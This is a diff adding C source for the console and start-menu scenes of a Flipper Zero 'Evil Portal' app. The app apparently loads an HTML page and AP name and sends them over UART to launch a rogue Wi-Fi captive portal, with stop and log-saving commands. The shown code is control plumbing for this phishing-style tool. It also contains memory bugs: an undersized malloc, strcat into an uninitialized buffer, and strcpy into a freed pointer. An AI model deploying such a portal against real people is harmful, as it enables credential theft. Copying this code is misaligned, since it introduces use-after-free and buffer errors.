+void evil_portal_scene_console_output_on_enter(void *context) {
+  Evil_PortalApp *app = context;
+
+  TextBox *text_box = app->text_box;
+  text_box_reset(app->text_box);
+  text_box_set_font(text_box, TextBoxFontText);
+  if (app->focus_console_start) {
+    text_box_set_focus(text_box, TextBoxFocusStart);
+  } else {
+    text_box_set_focus(text_box, TextBoxFocusEnd);
+  }
+
+  if (app->is_command) {
+    furi_string_reset(app->text_box_store);
+    app->text_box_store_strlen = 0;
+    app->sent_reset = false;
+
+    if (0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
+      const char *help_msg =
+          "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
+          "WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
+          "Version 0.0.2\n\n";
+      furi_string_cat_str(app->text_box_store, help_msg);
+      app->text_box_store_strlen += strlen(help_msg);
+      if (app->show_stopscan_tip) {
+        const char *msg = "Press BACK to return\n";
+        furi_string_cat_str(app->text_box_store, msg);
+        app->text_box_store_strlen += strlen(msg);
+      }
+    }
+
+    if (0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
+      const char *help_msg = "Logs saved.\n\n";
+      furi_string_cat_str(app->text_box_store, help_msg);
+      app->text_box_store_strlen += strlen(help_msg);
+      write_logs(app->portal_logs);
+      free(app->portal_logs);
+      strcpy(app->portal_logs, "");
+      if (app->show_stopscan_tip) {
+        const char *msg = "Press BACK to return\n";
+        furi_string_cat_str(app->text_box_store, msg);
+        app->text_box_store_strlen += strlen(msg);
+      }
+    }
+
+    if (0 ==
+        strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
+      app->command_queue[0] = SET_AP_CMD;
+      app->has_command_queue = true;
+      app->command_index = 0;
+      if (app->show_stopscan_tip) {
+        const char *msg =
+            "Starting portal\nIf no response press\nBACK to return\n";
+        furi_string_cat_str(app->text_box_store, msg);
+        app->text_box_store_strlen += strlen(msg);
+      }
+    }
+
+    if (0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
+      app->sent_reset = true;
+      if (app->show_stopscan_tip) {
+        const char *msg = "Reseting portal\nPress BACK to return\n\n\n\n";
+        furi_string_cat_str(app->text_box_store, msg);
+        app->text_box_store_strlen += strlen(msg);
+      }
+    }
+  }
+
+  text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
+
+  scene_manager_set_scene_state(app->scene_manager,
+                                Evil_PortalSceneConsoleOutput, 0);
+  view_dispatcher_switch_to_view(app->view_dispatcher,
+                                 Evil_PortalAppViewConsoleOutput);
+
+  // Register callback to receive data
+  evil_portal_uart_set_handle_rx_data_cb(
+      app->uart, evil_portal_console_output_handle_rx_data_cb);
+
+  if (app->is_command && app->selected_tx_string) {
+    if (0 ==
+        strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
+      evil_portal_read_index_html(context);
+
+      char *data = malloc(
+          (size_t)(strlen((char *)app->index_html) + strlen("sethtml=")));
+      strcat(data, "sethtml=");
+      strcat(data, (char *)app->index_html);
+
+      evil_portal_uart_tx((uint8_t *)(data), strlen(data));
+      evil_portal_uart_tx((uint8_t *)("\n"), 1);
+
+      app->sent_html = true;
+
+      free(data);
+      free(app->index_html);
+
+      evil_portal_read_ap_name(context);
+    } else if (0 ==
+               strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
+      app->sent_html = false;
+      app->sent_ap = false;
+      evil_portal_uart_tx((uint8_t *)(app->selected_tx_string),
+                          strlen(app->selected_tx_string));
+      evil_portal_uart_tx((uint8_t *)("\n"), 1);
+    } else if (1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
+      evil_portal_uart_tx((uint8_t *)(app->selected_tx_string),
+                          strlen(app->selected_tx_string));
+      evil_portal_uart_tx((uint8_t *)("\n"), 1);
+    }
+  }
+}
+
+bool evil_portal_scene_console_output_on_event(void *context,
+                                               SceneManagerEvent event) {
+  Evil_PortalApp *app = context;
+
+  bool consumed = false;
+
+  if (event.type == SceneManagerEventTypeCustom) {
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
+    consumed = true;
+  } else if (event.type == SceneManagerEventTypeTick) {
+    consumed = true;
+  }
+
+  return consumed;
+}
+
+void evil_portal_scene_console_output_on_exit(void *context) {
+  Evil_PortalApp *app = context;
+
+  // Unregister rx callback
+  evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
+}

+ 158 - 0
apps_source_code/flipper-evil-portal/scenes/evil_portal_scene_start.c

@@ -0,0 +1,158 @@
+#include "../evil_portal_app_i.h"
+
+// For each command, define whether additional arguments are needed
+// (enabling text input to fill them out), and whether the console
+// text box should focus at the start of the output or the end
+typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs;
+
+typedef enum {
+  FOCUS_CONSOLE_END = 0,
+  FOCUS_CONSOLE_START,
+  FOCUS_CONSOLE_TOGGLE
+} FocusConsole;
+
+#define SHOW_STOPSCAN_TIP (true)
+#define NO_TIP (false)
+
+#define MAX_OPTIONS (9)
+typedef struct {
+  const char *item_string;
+  const char *options_menu[MAX_OPTIONS];
+  int num_options_menu;
+  const char *actual_commands[MAX_OPTIONS];
+  InputArgs needs_keyboard;
+  FocusConsole focus_console;
+  bool show_stopscan_tip;
+} Evil_PortalItem;
+
+// NUM_MENU_ITEMS defined in evil_portal_app_i.h - if you add an entry here,
+// increment it!
+const Evil_PortalItem items[NUM_MENU_ITEMS] = {
+    // send command
+    {"Start portal",
+     {""},
+     1,
+     {SET_HTML_CMD},
+     NO_ARGS,
+     FOCUS_CONSOLE_END,
+     SHOW_STOPSCAN_TIP},
+
+    // stop portal
+    {"Stop portal", {""}, 1, {RESET_CMD}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
+
+    // console
+    {"Save logs",
+     {""},
+     1,
+     {"savelogs"},
+     NO_ARGS,
+     FOCUS_CONSOLE_START,
+     SHOW_STOPSCAN_TIP},
+
+    // help
+    {"Help",
+     {""},
+     1,
+     {"help"},
+     NO_ARGS,
+     FOCUS_CONSOLE_START,
+     SHOW_STOPSCAN_TIP},
+};
+
+static void evil_portal_scene_start_var_list_enter_callback(void *context,
+                                                            uint32_t index) {
+  furi_assert(context);
+  Evil_PortalApp *app = context;
+
+  furi_assert(index < NUM_MENU_ITEMS);
+  const Evil_PortalItem *item = &items[index];
+
+  const int selected_option_index = app->selected_option_index[index];
+  furi_assert(selected_option_index < item->num_options_menu);
+  app->selected_tx_string = item->actual_commands[selected_option_index];
+  app->is_command = true;
+  app->is_custom_tx_string = false;
+  app->selected_menu_index = index;
+  app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE)
+                                 ? (selected_option_index == 0)
+                                 : item->focus_console;
+  app->show_stopscan_tip = item->show_stopscan_tip;
+
+  view_dispatcher_send_custom_event(app->view_dispatcher,
+                                    Evil_PortalEventStartConsole);
+}
+
+static void
+evil_portal_scene_start_var_list_change_callback(VariableItem *item) {
+  furi_assert(item);
+
+  Evil_PortalApp *app = variable_item_get_context(item);
+  furi_assert(app);
+
+  const Evil_PortalItem *menu_item = &items[app->selected_menu_index];
+  uint8_t item_index = variable_item_get_current_value_index(item);
+  furi_assert(item_index < menu_item->num_options_menu);
+  variable_item_set_current_value_text(item,
+                                       menu_item->options_menu[item_index]);
+  app->selected_option_index[app->selected_menu_index] = item_index;
+}
+
+void evil_portal_scene_start_on_enter(void *context) {
+  Evil_PortalApp *app = context;
+  VariableItemList *var_item_list = app->var_item_list;
+
+  variable_item_list_set_enter_callback(
+      var_item_list, evil_portal_scene_start_var_list_enter_callback, app);
+
+  VariableItem *item;
+  for (int i = 0; i < NUM_MENU_ITEMS; ++i) {
+    item = variable_item_list_add(
+        var_item_list, items[i].item_string, items[i].num_options_menu,
+        evil_portal_scene_start_var_list_change_callback, app);
+    variable_item_set_current_value_index(item, app->selected_option_index[i]);
+    variable_item_set_current_value_text(
+        item, items[i].options_menu[app->selected_option_index[i]]);
+  }
+
+  variable_item_list_set_selected_item(
+      var_item_list,
+      scene_manager_get_scene_state(app->scene_manager, Evil_PortalSceneStart));
+
+  view_dispatcher_switch_to_view(app->view_dispatcher,
+                                 Evil_PortalAppViewVarItemList);
+}
+
+bool evil_portal_scene_start_on_event(void *context, SceneManagerEvent event) {
+  UNUSED(context);
+  Evil_PortalApp *app = context;
+  bool consumed = false;
+
+  if (event.type == SceneManagerEventTypeCustom) {
+    if (event.event == Evil_PortalEventStartPortal) {
+      scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneStart,
+                                    app->selected_menu_index);
+      scene_manager_next_scene(app->scene_manager,
+                               Evil_PortalAppViewStartPortal);
+    } else if (event.event == Evil_PortalEventStartKeyboard) {
+      scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneStart,
+                                    app->selected_menu_index);
+    } else if (event.event == Evil_PortalEventStartConsole) {
+      scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneStart,
+                                    app->selected_menu_index);
+      scene_manager_next_scene(app->scene_manager,
+                               Evil_PortalAppViewConsoleOutput);
+    }
+    consumed = true;
+  } else if (event.type == SceneManagerEventTypeTick) {
+    app->selected_menu_index =
+        variable_item_list_get_selected_item_index(app->var_item_list);
+    consumed = true;
+  }
+
+  return consumed;
+}
+
+void evil_portal_scene_start_on_exit(void *context) {
+  Evil_PortalApp *app = context;
+  variable_item_list_reset(app->var_item_list);
+}